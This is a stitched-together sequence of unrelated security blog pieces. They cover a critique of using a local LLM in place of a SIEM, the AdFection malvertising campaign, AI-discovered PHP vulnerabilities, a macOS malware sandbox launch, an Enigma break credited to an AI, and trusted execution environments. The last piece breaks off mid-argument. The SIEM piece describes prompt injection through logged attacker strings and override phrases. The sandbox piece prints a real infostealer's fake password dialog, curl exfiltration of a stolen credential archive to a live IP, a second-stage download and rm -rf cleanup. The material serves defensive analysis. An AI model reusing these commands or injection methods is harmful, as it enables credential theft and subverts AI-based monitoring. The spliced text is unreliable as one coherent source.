Warning: this blog is an experiment. The idea for a blog came from a real conversation I had with somebody. The content is researched, debated, refined, “hardened” by a Gemini skill I created (using Gemini 4 Argon). Then Claude Opus 5.5 performed a peer review, and tore some parts to shreds. Then rewrote them. And then I very lightly edited it, and tuned a few jokes. I replaced a food fight joke with a pillow fight joke, specifically. Let me know if this sucks, and I will stop. Promise!
—
A security peer recently shared a proposal they had just heard in the wild: instead of paying for a SIEM, why not load several days of raw log data into a locally run open-weights model, ask it “what looks risky?”, and review whatever the model highlights?
No SIEM ingest tax! No cloud token bills! No SIEM license fees! No writing correlation rules! No tuning anomaly detection! Just a gaming GPU under a desk and pure, artisanal AI-native vibes. Ahhh, magic!
Gemini illustration
Wait. Really?
My first instinct, forged by 24 years of staring at logs since I first met a SIM in January 2002, was to laugh, pour a drink, and move on. Surely everyone knows this is a terrible idea, right? Right?!
Wrong.
If an engineer, an IT director, or a cost-cutting CFO pitches “local LLM as a poor man’s SIEM” in your organization, you cannot just roll your eyes and mutter “hallucinations.” People keep inventing this idea for real reasons. SIEM ingest pricing still hurts: some vendor cost explainer works out 5 TB per day at $2 to $4 per GB as $3.6 to $7.3 million a year on ingestion alone. Detection engineering is still hard work. And yes the AI hype machine has spent two years promising executives that models can “reason over any unstructured data.”
So let’s dissect why dumping a week of raw logs into a local model breaks four basic laws of “operational physics”, and then carve out the narrow 10% where a local model does help with logs. The short version fits on a sticker: the LLM writes the parser, it never runs as the parser. And the twist is that the problem here is “raw,” not “local.”
Token Arithmetic and Naive Chunking (Or: How Big Do You Think 7 Days of Logs Is?!)
Let’s start with grade-school arithmetic, because clearly nobody pitching this architecture has ever opened a calculator…
Forget the enterprise. Take a tiny environment, a single server rack generating a measly 1 GB of raw text logs per day. Seven days of logs is 7 GB of text, or roughly 1.75 billion tokens at 4 characters per token. That is generous, since IP addresses, GUIDs and hex strings tokenize worse than English (Wow, really? Yes, really — at least Claude thinks so! He would know, right?)
Now look at that “free” 8B or 70B parameter model on your GPU workstation. Its usable context window, before the KV cache devours your VRAM and the fans sound like a Boeing 747 on takeoff, is maybe 32K to 128K tokens. You are shoving 1.75 billion tokens through a 128K keyhole, which is about 13,700 full context windows. Painful enough yet?
Well, it gets worse. Assume your box reads a generous 2,000 tokens per second (benchmark your own, I’ll wait). Reading those 1.75 billion tokens takes about 10 days. You need 10 days to read 7 days of logs, so you never catch up! Scale that to the 5 TB per day example above and it is about 20 years of GPU time for each day of logs. Hilarity ensues! Replacing a deterministic stream processor with a token-by-token text predictor is like replacing your municipal water pipes with a guy carrying a silver espresso spoon from a well 10 miles away.
“Fine, Anton,” the DIY enthusiast says, “we’ll chunk the logs into 2,000-line batches and loop the local model over them all weekend!” Or we will get a bigger boat… eh… server rack to run the model.
Chunking naively, by just loading the data in batches, fails hilariously. Here is how:
Attack chains get cut. The phish on Tuesday lands in one batch, the lateral movement on Thursday lands thousands of batches later, and no prompt ever sees both. Each batch gets judged alone.
Merging the summaries does not bring the signal back. By the time you summarize the summaries, the one quiet line was already dropped in round one. So “naive+” fails as well.
Position inside the batch matters.Liu et al.’s “Lost in the Middle” found that models do best when the relevant information sits at the start or end of a long context and degrade sharply in the middle. They tested question answering and key-value retrieval, not logs, but picture a quiet privilege escalation on line 1,482 of your batch. Worst seat in the house.
Researchers keep running into this. Cai, Ryan and Karie note that iterative approach is limited by context capacity and that map-reduce style summarization is computationally heavy (and requires some luck). Even so, that is a proof of concept on up to 20,000 rows per dataset, and they say enterprise volumes remain to be validated.
So smarter chunking exists (reminder: it is not magic, in this area nothing truly is): parse, cluster, then retrieve by entity and time. At that point you are building the first half of a SIEM. Congratulations!
As I wrote in The Ancient Art of SIEM, cost pain is eternal and only the currency changes. In 2003 you ran out of hardware, in 2015 you ran out of cloud budget, and in 2026 you run out of tokens and VRAM.
The Input-Centric Time Machine: Back to 2002 Batch Review
Notice the most revealing phrase in this idea: “load 1 to 7 days of log data… and then review what the model highlights.”
That is not real-time detection. That is batch-mode log archeology! When intruders can go from initial access to data theft in hours (soon: minutes for some incidents), reviewing a week of logs in a batch means you are running a weekly book club about how you got breached last Wednesday. But hey … is your SIEM faster? Well, it should be!
Worse, asking an LLM to “highlight what looks risky” violates the most important lesson of two decades of detection engineering. In Output-driven SIEM, 13 years later, I revisited my favorite 2011 mental model: think about what you want to see at the output before you collect, and AI does not change this. Asking a model to “find risk” in raw logs with zero detection engineering is the ultimate input-centric anti-pattern. It failed with ML in mid-2010s, and LLM is not different (in this regard).
Now, about determinism. The lazy objection is “the answers change on every run,” and a sharp engineer will reply “so pin the seed.” Fair enough! Run-to-run randomness is an engineering problem: Thinking Machines got 80 unique completions out of 1,000 at temperature 0, then 1,000 identical ones after fixing their kernels. But is it actually bad? Maybe if you run 5 times, you will find 2x more “fun” things. But hey … also probably at least 5x more noise.
The harder test is stability. Take the same 48 hours of domain controller logs, shuffle the order or change one irrelevant line, and run it again. Given what we learned, I would bet real money the verdict moves. Well-crafted SIEM rule does not care what order the lines arrive in.
Zero Local Context Equals Hallucinated Risk
Why can’t a local model tell an active nation-state intrusion from Tuesday’s messy IT administration? Because raw logs do not contain your organizational reality! Shocking, eh?
A raw syslog or CloudTrail line says that svc_deploy_04 logged into prod-db-02 at 3:14 AM from an internal jump host and ran an encoded PowerShell script. Is that a five-alarm breach or the legacy billing batch job that Bob in accounting wrote in 2017 and nobody dares to touch? This is a dated example, on purpose. Insert your own fun example involving a shadow AI agent!
In Part 3 of the Stop Building a 2003 SOC series, I argued that the #1 reason AI fails in the SOC is the absence of Context as Code: machine-readable, owned, and expiring knowledge of your assets, business processes, and weird administrative exceptions. In Part 2, we warned about automation bias: humans reviewing plausible, well-written machine verdicts approve them.
Also, the test from Can AI Let You Jump SOC Maturity Levels? applies here: does this exist because someone had to spend time, or because someone had to learn something about us? Writing a parser is a time cost. Knowing about Bob’s job is a learning cost, and no model downloaded from the internet has paid it.
Feed raw logs into a naked local LLM with no CMDB enrichment, no threat intel, no identity graph, and no 90-day baseline, and its only source of “context” is its pre-trained weights. So it flags every scary-looking word (ERROR, DENIED, admin, root, failed) and writes you a convincing fictional thriller about your own network.
The Confused Deputy Trap: When the Attacker Prompts Your “SIEM” via User-Agent
Now put on an attacker hat for 30 seconds. What is a log file?
A log file is untrusted, attacker-influenced input. Every public-facing web server, SSH daemon, API gateway, and email relay faithfully records whatever string an outsider sends in an HTTP User-Agent, a failed username field, or a JSON payload.
Log processors have been attacked through logged strings before (hi, Log4Shell!), but that was a bug you could patch. In a raw-log-to-LLM setup there is no parser boundary to patch, because instructions and data share one channel. You just handed the attacker write access to your detection engine’s prompt!
Summaries are also scary, BTW. Pandey and Bhujang found that the classic “ignore all instructions” override failed completely against the one model they tested, but context manipulation reached 96% success on summarization with no defenses and 38% even with constrained output.
In How to Solve the Mystery of AI Defense in Depth (and my October 2026 collaboration with Usman Chaudhary, The Model Has Preferences, but the Harness Got Controls), I emphasized that a model’s statistical preferences are never a security boundary, and only a deterministic harness is. Feed unparsed logs straight into a local LLM with no harness, and any kid with curl can blind your review or flood your team with fabricated critical alerts…
The Problem Is “Raw,” Not “Local”
Let’s be fair to the local crowd, because they have a point.
Local solves a real problem. Logs are full of secrets, PII and internal hostnames. Not shipping them to a third-party API is a legitimate reason to want a model on your own hardware. It also — theoretically — eliminates an endless stream of unpredictable token costs flowing to a frontier model provider.
Small models are not the villain. In the same paper, a structured design called Aida (separate agents for investigating, challenging and judging, working through a SIEM) used open-weight Qwen3.5 9B and it was workable for the task they had.
“What about an agent querying a log store?” Now we are talking! The model forms a question, a database searches 7 days of logs deterministically, and the model reads a small result. That is a very different architecture, and it needs parsed data, a query engine, detections to start from, retention and access control. Sound familiar?
So keep your local model if you want it. What is missing from this proposal is the SIEM…
The Raw-Logs-to-Local-LLM Delusion Matrix
For explaining this to an enthusiastic colleague (or a budget-slashing executive) without starting a pillow fight:
Wait, Is a Local LLM Good for Anything in Log Land? (The 10% Where It Shines!)
I am a constructive cynic, not a Luddite (At least Gemini 4 Argon thinks so!). As I noted in the SOC maturity post, AI can jump the artifacts, and parsers are on that list (with caveats for tricky log sources). So point your local model at logs as an engineering sidecar, not an ingestion engine:
Writing the parser, not being the parser. Instead of feeding 50 million lines from a weird legacy mainframe into an LLM, feed 20 sample lines and ask for a regex, OCSF mapping, or pipeline rule. The LLM writes the code once, and deterministic CPU code parses the 50 million lines at wire speed. This mostly works, I swear.
Post-trigger micro-slice investigation. Once a rule or EDR alert fires on a specific host and 15-minute window, pull 200 pre-filtered, enriched log lines and ask the model for a timeline. Those lines still contain attacker strings, so treat the summary as untrusted and let the model request actions only from a closed list.
Ad-hoc query translation. Translate an analyst’s question into KQL, SPL, or SQL, so the database searches 7 days of logs deterministically. This also mostly works, but some YMMV.
The Lean Team Reality
What if you are the CISO of a regional insurer or hospital with a small security team, a hybrid stack, strict state regulators, and an MDR provider? When an engineer or cost-conscious VP suggests “let’s dump our noisy firewall logs into a local Ollama box,” they aren’t trying to sabotage your SOC. They have a log source that is too expensive to send to the SIEM, and they want a free way to “keep an eye on it.” Here is how to solve that without a science project:
Don’t use a GPU box as a poor man’s data lake. Route a noisy source to cheap, searchable object storage, or strip verbose fields in a pipeline before ingest. This is my old two-tier answer (a SIEM plus a broad, cheap log store), and it has aged well.
Hold your MDR to the same standard. When they brag at the next QBR about “AI-powered log analysis,” ask whether deterministic detections run first or whether it is an LLM wrapper over unparsed telemetry. This point alone is worth the price of reading this blog (A.C. — this is me, not AI)
Channel the DIY energy. Give your smart engineer 50 anonymized lines from your gnarliest legacy application and ask for three high-signal filter rules you can deploy in your real pipeline.
Action Items for Security Leaders
Is there anything you need to actually do?
Run a napkin token audit on any AI log proposal (Monday morning). Before the demo starts, ask: “How many GB per day is the raw source, how fast does the model read, and what deterministic step selects the tiny slice that reaches a context window?” If the answer is “we’ll just load it in batches,” kill the project on the spot. It’s this “just” word.
Fix ingest pain with tiering (30-day play). If this idea surfaced because a log source is too expensive for your SIEM, solve that: drop repetitive keepalive chatter, route compliance-only logs to cheap storage, and keep output-driven security data in your detection tier.
Make “the LLM writes the parser, never runs as the parser” a standard (architecture play) — that is, if you write parsers at all. Allow LLMs at design time (parsers, mappings, queries from small samples) and at post-alert time (small, bounded, enriched slices), but not as the runtime ingestion or anomaly engine over raw logs. Put it in your MDR requirements too… otherwise they will keep whining that it takes 7 weeks to integrate a log source forever.
Test your existing AI log workflows for prompt injection (60-day play). If your SOC or MDR summarizes anything containing attacker-controlled strings, test it in your next purple-team exercise. Do not stop at a naive “ignore instructions” canary, because passing that proves little. Try persona and context-rewriting payloads, plus payloads split across lines.
So, Do You Need a SIEM?
Call it a SIEM or call it a pile of parsers, a query engine, detections and retention. You need those things, and a GPU under a desk does not replace them. By all means run a model next to them, I promise it will be fun!
The part that worries me most is how this fails. A detection rule that misses can be tested, tuned, and re-run. A model that misses hands you a nice summary, and nobody knows what was not in it. As I said in September, skipped maturity used to fail loudly, and now it fails quietly.
We had 23 years of progress, and the best practice is still “have a plan and don’t ingest garbage.” That goes for your context window too.
Last week, researchers at Citizen Lab revealed a horrifying new malware campaign, dubbed “AdFection.” It used an ad network to distribute spyware to journalist’s devices to infect them without the target ever needing to click anything. This sort of attack on journalists is dangerous and incredibly concerning, especially since it’s built on the backbone of a technology we already object to: behavioral advertising. Although this type of attack has only been described targeting journalists, you can take a few steps we outline in the next section to mitigate the risk no matter who you are.
A few factors combined to make this attack a noteworthy first-of-its-kind. First, it utilized the surveillance ad-tech ecosystem to specially target the malicious code. Second, the spyware it delivered was so-called “zero-click,” meaning it required no interaction from the user to be infected: all that is required is for the ad to be delivered and code bundled along with it to be run, which happens automatically. Neither malvertising nor zero-click attacks are new on their own. What’s novel about the AdFection attack is combining them, creating a highly targeted, extremely dangerous attack which is difficult to defend against and even harder to detect.
Let’s take a deeper look from the perspective of one of the Windows devices supplied to the researchers from Al Jazeera. Here’s how the report describes the infection happening:
Someone browsing the web or using an app on that machine is served an ad created by Discover-Tech, a company exposed in the report as “purporting to be a legitimate advertising company, [but] appears to be a front for large-scale ad espionage abuse.”
The ad contains a small snippet of JavaScript code which is automatically executed when rendered in the app or website.
This code reaches back out to a Discover-Tech server, referred to as their “NOAS server,” with detailed information about the machine rendering it: its cookie-set advertising ID, IP address, and more.
So far, nothing particularly unusual has happened. Ads that contain JavaScript code and reach back out to their servers with lots of information on your device—and by extension you—are commonplace. It’s all part of the data-driven advertising ecosystem. What happens next is more interesting:
The NOAS server uses this detailed information to determine it is an Al Jazeera machine requesting the ad.
Instead of returning an empty response (as it does most of the time), it responds with a malicious, zero-click spyware payload. That payload was created by Discover-Tech’s partner Candiru/Integrity Labs, a company previouslyexposed for involvement in sophisticated malware attacks.
The payload is then executed and infects the targeted machine.
Companies targeting zero-click malware attacks against journalists might seem like the plot of a blockbuster spy thriller. But this attack was enabled by the everyday practices of ad-tech companies, which unfortunately have extreme latitude in the collection of users’ data. By leveraging the tracking identifiers and data collected on devices for the purpose of delivering targeted ads to specific individuals, mercenary spyware companies can repurpose this data in order to fine-tune who they infect—and hide that they’re doing it from everyone else.
Most ads are not delivered directly by the ad creators, but rather by intermediaries that facilitate Real-Time Bidding auctions. Nonetheless, winning bidders are given the ability to execute JavaScript code in the browser of the person who receives the targeted ad. This allows for interactive ads to be displayed, but also (as we’ve seen) for the compromise of a device just by delivery of malicious code.
While the different components in this attack chain are not novel on their own, the exposure of this combined attack is significant because it reveals a technique to hyper-target individuals and organizations for infection. Luckily, there are steps you can take to protect yourself from the myriadofdangerspresentedby the ad-tracking industry. Here’s how.
What You Can Do About It
As we work towards fundamental fixes to the ad ecosystem and banning online behavioral ads altogether, the onus is on all of us to protect ourselves. This is especially important for higher risk individuals or journalists working in states with heavy surveillance. Citizen Lab outlines several steps, depending on your threat model, to take to help protect yourself:
Use a browser extension to reduce tracking. Our Privacy Badger extension is an excellent start. Network-wide ad blocking services are also worth considering if you’re comfortable handling the set up process.
On mobile phones, disable or reset your AD ID. Here are directions to do so for Android and iPhone.
These steps can be very helpful in protecting yourself, but there is only so much you can do as an individual. Banning behavioral ads like this would be a good place to start. Behavioral ads aren’t just a privacy nightmare as designed. They are the perfect vehicle for malvertising and similar threats, just as we see here.
If you use the internet at all, you may have noticed that a large percentage of sites suddenly went down earlier this week—and all your nerdiest friends were talking about "The Vulnerability Apocalypse” and this thing called PHP that powers nearly 70% of the websites on the internet. You may find yourself wondering: what is PHP, what just happened, what is the vulnerability apocalypse, and what do I need to do?
To find out what you can personally do read the first blog post in this series!
What Is PHP?
PHP is a programming language used mainly to create interactive websites. Facebook, Wordpress, Wikipedia, Etsy, and other major sites all use or were originally built on PHP. It is a long-established mainstay of web development. But because it is open-source, maintenance of these critical systems depends on a small number of volunteers working on this in their free time. The disaster scenario that happened this past week is the perfect example of why we need more money and people supporting open-source projects. Corporations should be contributing both.
What Is the Vulnerability Apocalypse?
Common Vulnerabilities and Exposures (CVEs) are the way that security professionals file reports about vulnerabilities in software. The National Vulnerability Database (NVD), run by NIST, is the official national database of CVEs. In other words, CVE reports managed by NIST are the closest thing we have to a canonical database of security vulnerabilities in software. The NVD currently has around 400,000 CVEs that have been filed and accepted since 1988. In just the month of October, 13,000 new CVEs have been submitted. This means that 3% of critical software security bugs that have ever been officially logged were found in the last month alone. And it's likely that by the end of the year over a quarter of the software vulnerabilities that have ever been found will be from 2026.
Computer vulnerabilities reported are rising exponentially. Source: CVE Tracker
This research is being driven almost entirely by the cybersecurity capabilities of major AI models from companies like Anthropic, OpenAI, and Google. Historically it has been popularly assumed by cybersecurity experts that finding unknown (zero-day) exploits in any specific project and turning them into exploits was expensive. The knowledge to discover them was not widespread, and it was a hard task even for those initiated into the arcane ways of vulnerability hunting. Google even dedicated an entire team to it.
But now thanks to major AI models, vulnerabilities are cheap, and anyone of moderate technical skill with a few dollars and access to a frontier AI model can find vulnerabilities in a few minutes. For example, recent vulnerabilities in PHP were found with a prompt to an AI model that literally said "find bad vulnerabilities in PHP."
What Happened This Week?
In 2024, a potentially severe vulnerability in PHP was discovered during an external security audit. PHP’s maintainers couldn’t agree on a solution, but more importantly, they couldn’t find a way to exploit the vulnerability. Because it didn’t seem like an active threat, they ended up deprioritizing a fix in favor of working on more urgent security issues. Then, in August 2026, security researchers working with the latest models from OpenAI and Anthropic independently discovered the vulnerability again, and another one—and now, with a way to exploit them.
We now know that the vulnerabilities were so severe that they would have allowed even moderately inventive hackers to take over any website that uses PHP and then steal customer data, launch further malware attacks, spy on users, take websites offline, or launch a massive denial of service attack.[1]
Because of the severity of these vulnerabilities, several of the involved researchers got together with the makers of PHP to patch the vulnerabilities and disclose them in a coordinated manner. The idea was that hopefully everyone would get a chance to quietly release and then apply fixes for the vulnerabilities before the whole world found out about it.
But news already started to leak on October 20th. There was a post on a widely read forum “Hacker News” and other posts elsewhere. One of the researchers accidentally published a video early. Companies reported seeing active exploitation of the vulnerabilities going back as far as October 17th. On October 21st, six hours before the planned press embargo, one company, Chainguard, jumped the gun and released a patch early, essentially giving anyone instructions about exactly where to find the vulnerabilities and how to weaponize them. This sent system administrators everywhere scrambling to patch their systems before they were taken over by hackers. And it’s going to take a long time to patch all these systems. At the time of this writing over 33 million websites are still running on vulnerable versions of PHP.
The internet is run largely on open-source software, mostly maintained by a small handful of skilled volunteers occasionally getting a small stipend, not by major corporations and highly paid engineers. These are projects you have perhaps never heard of, like PHP, OpenSSL, and SQLite, but these programs run on nearly every computer in the world and are maintained by teams as small as one person. When a vulnerability is found in these projects, it can be devastating.
PHP isn’t the only critical open-source software with a high severity vulnerability this week either. Other widespread open-source projects like Node.js and GitLab also had severe security bugs reported.
The small number of already overworked open-source maintainers are now facing a deluge of vulnerability reports, some of which are false, but many of which are very real. Burnout in open source has never been higher.
We Need Stronger Support for Open Source Projects
Much of the foundation for the modern multibillion-dollar internet industry is built on open-source products that were created and still maintained—for free—by dedicated volunteers in their spare time. It’s an imperfect system, and it can lead to errors.
One of those critical, under resourced open-source products is PHP. And while vulnerabilities in PHP were privately found years ago, they were left unfixed because they didn’t seem as impactful as other bugs at the time. These same vulnerabilities were recently rediscovered and proved to be trivially exploitable by security researchers using advanced AI models. While in the middle of the widespread, global effort to correct this mistake and deploy fixes, the problem was leaked by some of the security researchers who had gotten early access to the fixes. Unfortunately, this left millions of websites, ranging from personal blogs to government sites, vulnerable to hacking that could result in data theft, malware distribution, and worse.
Open-source projects like PHP and others are the backbone of the entire internet. If they don’t get the resources they need, they and the internet they power, are at risk of falling apart. Corporations (whose products would not exist without these products) should be actively contributing to their maintenance.
In November 2015, we released our first in-house macOS sandbox, Box of Apples, followed by an update in March 2018 that introduced HTML behavior reports, desktop screenshots, and process trees. Over the past decade, the macOS ecosystem and the threat landscape targeting it have changed dramatically. Apple transitioned its hardware architecture from Intel (x86_64) to Apple Silicon (ARM64), hardened its operating system security model, and deprecated legacy dynamic tracing mechanisms. At the same time, macOS threat actors have shifted toward native ARM64 binaries, multi-stage social engineering installers, credential-harvesting AppleScripts, and evasive infostealers.
Today, we are excited to introduce macOS Mirage, our brand-new, ground-up dynamic analysis sandbox built natively for Apple Silicon and macOS 26. macOS Mirage replaces Box of Apples as part of the VirusTotal Multi-Sandbox project, delivering high-fidelity behavioral telemetry, automated Sigma behavioral detections mapped to MITRE ATT&CK, and—exclusively within our Private Scanning product offering—full Interactive Live Analysis.
Why We Built macOS Mirage: Beyond Box of Apples
Box of Apples was designed for an era of Intel-based Macs and relied on dtrace scripts to monitor system calls. As macOS evolved, two structural shifts required a completely new approach:
Native Apple Silicon (ARM64) Execution: Modern macOS applications and malware families are compiled natively for Apple Silicon or distributed as Universal Mach-O binaries. Running modern samples on legacy Intel hardware either fails outright or misses architecture-specific execution paths. macOS Mirage runs natively on bare-metal Apple Silicon hardware with Apple's native virtualization stack and macOS 26, ensuring authentic execution fidelity.
Modern Kernel-Backed Behavioral Telemetry: In modern macOS releases, System Integrity Protection (SIP) restricts legacy dtrace hooks, and high syscall volumes could cause event drops. macOS Mirage uses modern, kernel-supported macOS security instrumentation to capture process creation, command-line arguments, file system modifications, persistence installation, and access to sensitive credential stores without losing events.
Live Mouse, Keyboard & Clipboard Control(Private Scanning exclusive)
Rich GUI Execution and Persistence Tracking
Many macOS samples package their payloads inside disk images (.dmg) or application bundles (.app) that initialize graphical windows, register background services, or trigger system notifications during execution. macOS Mirage provides full graphics acceleration and desktop monitoring, capturing both visual screenshots and underlying system modifications in real time.
Figure 1: Dynamic detonation of a macOS application in macOS Mirage, capturing both the application GUI and a macOS system notification alerting to a newly registered persistent background Login Item.
Figure 2: Full window management, 3D rendering, and Dock process tracking inside macOS Mirage.
In addition to capturing screenshots to show what a user would see on screen, macOS Mirage automatically monitors security-sensitive locations across the operating system, including:
Persistence Mechanisms:LaunchAgents, LaunchDaemons, Login Items, and cron jobs.
Shell & Environment Profiles: Modifications to .zshrc, .bashrc, .zshenv, and /etc/profile.
Credential & Privacy Stores: Unauthorized access to Keychain databases (login.keychain-db), browser cookie and credential stores, SSH keys, and the Transparency, Consent, and Control (TCC.db) database.
System & Network Configuration: Changes to /etc/hosts, /etc/resolv.conf, and /private/etc/sudoers.
New Behavioral Detections with Sigma Rules: Catching a macOS Info-Stealer in Action
To help analysts quickly identify malicious behavior without sifting through thousands of raw file and process events, macOS Mirage evaluates runtime telemetry against a curated library of macOS Sigma rules and maps every detection directly to MITRE ATT&CK techniques.
When executed inside macOS Mirage, the binary (unix51436504) performs a multi-stage credential theft and persistence chain:
AppleScript Password Phishing: The malware invokes /usr/bin/osascript to display a deceptive system prompt titled "Password Request" asking the user: "Please enter device password to continue."
Local Credential Validation & LaunchDaemon Persistence: It validates the harvested password against local Directory Services (dscl . authonly) and invokes sudo -S to copy /tmp/daemonplist to /Library/LaunchDaemons/com.somedaemon.plist.
Keychain, Browser & Notes Harvesting: The sample opens the user's Keychain (/Users/admin/Library/Keychains/login.keychain-db), Safari cookies (Cookies.binarycookies), Apple Notes database (NoteStore.sqlite), SSH keys (authorized_keys, known_hosts), and .zsh_history, staging the stolen files under /tmp/lksopo while continuously polling the clipboard via pbpaste.
Secondary Payload Download, Exfiltration & Cleanup: Using ditto, the malware compresses the staging directory into /tmp/lksopo.zip, exfiltrates the archive via an HTTP POST request (curl -X POST), downloads a secondary bot payload (curl -o /tmp/binaryexe), and deletes the staging directory (rm -rf /tmp/lksopo) to cover its tracks.
From this single detonation, macOS Mirage automatically generates a high-confidence malicious verdict (macos_osascript_credential_phishing) and triggers 7 distinct Sigma rules spanning the entire attack lifecycle:
Sigma Rule Name
Severity
MITRE ATT&CK
Matched Behavioral Telemetry
macos_osascript_credential_phishing
High
T1059.002, T1056.002
Execution of /usr/bin/osascript displaying fake password prompt: osascript -e set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution
macos_sensitive_credential_store_access
High
T1555.001, T1555.003, T1005
Unauthorized access by ./unix51436504 to /Users/admin/Library/Keychains/login.keychain-db and Safari Cookies.binarycookies
macos_esf_sensitive_file_access
High
T1555.001, T1555.003, T1005
Access to /private/etc/sudoers during privileged persistence installation: sudo -S cp /tmp/daemonplist /Library/LaunchDaemons/com.somedaemon.plist
macos_esf_suspicious_curl_download
Medium
T1105, T1071.001
Downloading secondary stage payload via curl -o /tmp/binaryexe http://193.178.159.129/web/bot
macos_network_upload_activity
Medium
T1041, T1567
Exfiltrating compressed credential archive via curl -X POST -H buildid: ... --data-binary @/tmp/lksopo.zip http://109.238.87.111/log
macos_data_destruction_tools
Medium
T1485, T1070.004
Anti-forensic removal of staging directory via rm -rf /tmp/lksopo
macos_http_tools_with_protocol_indicators
Low
T1071.001, T1105
Automated curl command-line execution with explicit http:// C2 protocol indicators
Hunting Related Threats with VirusTotal Intelligence Pivots
At the time of analysis, sample be77bca22f078d57058535ddcf26a39a752a8df030392cb45ba6a60e06651878 was detected by only 6 out of 76 static antivirus engines. Moreover, during execution inside macOS Mirage, the first-stage dropper downloaded and executed a 12.9 MB universal Mach-O second-stage bot (f7dcdc4167ec267aef007f9d5f98e9e0314185e5355effd3e304b6fa686ea84c) alongside a LaunchDaemon persistence property list (d7dd630f67e03d2945185838dca887211ea3693c91fc0bd0d2e257948bb3b678, 0/75 AV detections). When that second-stage binary is detonated in isolation, it exits in under a second because it depends on hidden state files (~/.bhost, ~/.phost, ~/.username, ~/.pwd) written to disk by the first-stage dropper. Because macOS Mirage tracks the full multi-stage process tree on macOS 26, analysts can pivot directly on runtime command lines, dropped artifacts, network URI patterns, and Sigma detections across VirusTotal Intelligence to uncover entire clusters of active macOS campaigns. For a complete reference of supported file and behavior query syntax, see the VirusTotal Search Modifiers Full List.
1. Process & Command-Line Pivots (behaviour_processes)
Custom Exfiltration curl Headers: Hunts samples exfiltrating staged archives with custom buildid: and username: HTTP headers across rotating C2 servers: behaviour_processes:"curl -X POST -H buildid:"
Exfiltration Collector Server: Pivots on samples posting stolen Keychain, Safari cookie, and Notes archives to 109.238.87.111: behaviour_network:109.238.87.111
Second-Stage Bot C2 Server: Pivots on samples retrieving /web/bot and polling /api/v1/bot/actions/ on 193.178.159.129: behaviour_network:193.178.159.129
Interactive Live Analysis (Exclusive to Private Scanning)
While automated dynamic analysis and Sigma behavioral detections are available on VirusTotal reports, sophisticated macOS threats often require human interaction to detonate completely. Malware may hide behind multi-step custom installer wizards, require a password to unlock a disk image, or pause execution until realistic user input is provided—just like the "Password Request" dialog shown above.
To empower incident responders and malware analysts, Interactive Live Analysis with macOS Mirage is available exclusively as part of our Private Scanning product offering in Google Threat Intelligence and VirusTotal Enterprise:
Real-Time Mouse & Keyboard Control: Analysts can step directly into the running macOS 26 desktop inside their web browser to click buttons, navigate prompts, open Terminal, or manually interact with suspicious applications.
Host-to-Guest Clipboard ("Send as Keystrokes"): Analysts can paste passwords, decryption keys, URLs, or terminal commands from their local workstation directly into the sandbox VM as simulated keystrokes.
Extended Session Timeouts & Network Control: Interactive sessions can run for extended durations (up to 30 minutes) and can be configured with custom network routing modes—including full isolation, simulated internet services, HTTPS MITM inspection, or Tor routing.
Complete Tenant Privacy: All files, interactive sessions, screenshots, and behavioral reports generated in Private Scanning remain strictly isolated within your organization's private environment and are never shared publicly.
Figure 4: Selecting macOS Mirage and enabling Live Interaction inside the Private Scanning configuration modal.
Figure 5: Using the "Send as keystrokes" clipboard bridge during a live interactive macOS Mirage session in Private Scanning.
Try It Out and Share Your Feedback
macOS Mirage is part of our ongoing commitment to expanding multi-platform dynamic analysis across VirusTotal and Google Threat Intelligence. To view the new behavioral reports on public samples, navigate to the Behavior tab on any macOS file report in VirusTotal to inspect process trees, file system changes, network activity, screenshots, and Sigma rule matches. Enterprise customers using Private Scanning can select MacOS Mirage directly from the scan configuration dialog to launch automated or live interactive sessions.
If you find any issues or have feature requests, please don't hesitate to contact us.
However, the most astonishing thing about this break is that the GPT6 Astra did it entirely on its own. Carter Leffer only directed GPT6 Astra to see if it could break any of the unbroken Enigma messages published on the Crypto Cellar Research web page. After analysing the unbroken messages on the website, it decided that the most promising message was Nr. 172, MVUEH and it also quickly suspected that the plaintext of Nr. 173, SIPVX, might be related to the plaintext of the unbroken MVUEH message. After trying many different approaches, GPT6 Astra focused on using the repeated place name ROSENOW ROSENOW as a crib. After developing the necessary Python and C++ software for an Enigma simulator and an Enigma Bombe, GPT6 Astra started a thorough break with the ROSENOW crib, which in the end resulted in the correct key and plaintext for the MVUEH message being found.
We are still analysing the GPT6 Astra logs to see exactly how it executed the break. And we are discovering amazing details.
Secure messaging platforms, like Signal, WhatsApp, and recently, encrypted RCS, operate on a straightforward assumption: the content at each end of a conversation is private to the participants in the conversation. End-to-end encryption helps provide the mathematical guarantees that the companies who operate these messaging platforms cannot access the contents of messages. But there’s no way to guarantee what happens once the message arrives on a phone. As more devices and services introduce more artificial intelligence (AI) features into messaging apps, that line begins to blur.
When AI features are computed entirely on device, it’s less concerning. Yet sometimes the computing requirements are heavy enough that the computation has to be done on a company server. Tech companies tell us they have a solution for this: trusted execution environments (TEEs). But do server-side TEEs really solve the problem?
TEEs exist to serve many different functions, ranging from digital rights management (DRM) content protections to securely storing information in your phone's mobile wallet, but for our purposes, we’ll be focusing on how tech companies use them for their AI tools.
The basic idea is straightforward: most consumer devices aren’t powerful enough to handle the sorts of AI features companies want to offer, so sometimes they send data off your device to more powerful cloud servers to do the computing, then display the results on your device. Since your data is leaving your device, there’s a privacy compromise. For example, if you ask for a messaging app to summarize a conversation, it may offload that computing power to a cloud server, sending the entire contents of your messages to the cloud, then back to your phone.
TEEs can provide more security and privacy than simply running in the clear, but they are fundamentally different from actual encryption or running locally. Despite the promises of some tech companies, they will never be able to match that level of security and privacy. Because of that, a user’s device should never automatically send data to a TEE. Let’s dig through the reasons why.
What Exactly Is a TEE, Anyway?
A TEE is a hardened section of the computer that runs software in a way that’s supposed to be secret even from other processes running on the machine. TEEs also let users check that the code being run is the code that they think is running, and not backdoored code instead, using a process called “attestation.” You may have also heard this referred to as a “secure enclave,” or heard the brand names SGX or TrustZone.
The intention of a cloud-based TEE is simple: a company can run a server in their data center, but still process data that you provide on your behalf without being able to see that information themselves.
Is a TEE Secure?
In practice, we've seen multiple cracks and hacks every year that show that it is possible to get at that data. That’s because while encryption relies on math, TEEs rely on engineering to provide their security. Standard encryption algorithms are created by years-long processes collaboratively produced by mathematicians around the world and are based on problems that have been studied for decades. The math is reliable, and there is no shortcut to breaking it that would not also upend fundamental understandings of mathematics as a field.
The collective understanding of every mathematician in the world is that standard encryption algorithms are not breakable to the best of the world’s collective knowledge. No responsible engineer builds a system based on a new encryption method until after it’s been offered up for prodding.
